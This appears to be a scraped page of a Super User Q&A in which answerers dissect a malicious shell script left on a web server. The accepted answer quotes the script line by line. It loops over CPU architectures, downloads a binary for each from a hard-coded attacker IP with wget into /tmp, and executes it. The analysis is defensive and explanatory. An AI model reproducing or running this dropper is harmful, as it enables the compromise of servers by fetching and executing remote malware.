What does this bash script do? [Hack Attempt]
Hire the world's top talent on demand or became one of them at Toptal: https://topt.al/25cXVn
and get $2,000 discount on your first invoice
--------------------------------------------------
Music by Eric Matyas
https://www.soundimage.org
Track title: Horror Game Menu Looping
--
Chapters
00:00 What Does This Bash Script Do? [Hack Attempt]
00:31 Answer 1 Score 12
00:59 Accepted Answer Score 44
03:18 Thank you
--
Full question
https://superuser.com/questions/1356359/...
--
Content licensed under CC BY-SA
https://meta.stackexchange.com/help/lice...
--
Tags
#linux #bash #apachehttpserver #shellscript
#avk47
ACCEPTED ANSWER
Score 44
Line by line:
#!/bin/sh
Establishes the sh
shell, whichever that is, as the shebang line. sh%20/tmp/ks
in the request overrides this, so this line is treated as a normal comment and ignored.
u="asgknskjdgn"
Declares an arbitrary name, presumably to avoid colliding with other filenames. I'm not sure why they wouldn't just use mktemp
, but maybe that is not available on all platforms.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Enumerates several common CPU architectures.
http_server="80.211.173.159"
http_port=80
The server which has the exploit.
cd /tmp/||cd /var/
Tries to change directory to somewhere your web server is likely to be able to create files. I believe SELinux will help with this, by enforcing much stricter rules about what the web server can do than the file system does on its own.
for name in $bin_names
do
For each CPU architecture…
rm -rf $u
Removes previously tried exploit programs. Unnecessary because of the next line, so can be ignored.
cp $SHELL $u
Copies the current shell executable (/bin/sh
). Can be ignored because of the line after next.
chmod 777 $u
Makes everyone have full access to the new file. This should have been after the wget
command, which is either a sign of a shell scripting newbie or a misdirection technique.
>$u
Empties out the file. Pointless because of the next line.
wget http://$http_server:$http_port/$name -O -> $u
Overwrites the file with the exploit script for this architecture. -O -> $u
could have been written -O - > $u
(the hyphen indicates that the download should be written to standard output) which is equivalent to -O $u
.
./$u $name
Runs the exploit script with the architecture as the first argument.
done
Ends the loop.
It looks like this is a trivial exploit attempt script, trying known exploits against various CPU platforms. I do not know why it overwrites $u
three times, but those operations could simply be remains from an earlier iteration of the script. Presumably that earlier version had the exploits hard coded rather than dynamically served - the former is easier but almost guarantees that the script will be less effective over time as bugs are patched.
ANSWER 2
Score 12
The wget
is the key dangerous line.
The for name in $bin_names
is working through the list of platforms and for each platform it is clearing a temporary directory, copying a shell over and then making it accessible by everyone.
It then downloads a file using wget
and then executes it using the shell program it just copied over.
The script is basically attempting to download a series of executables or scripts for every platform it can and rubbing them against your system in the hope that it can further compromise your system.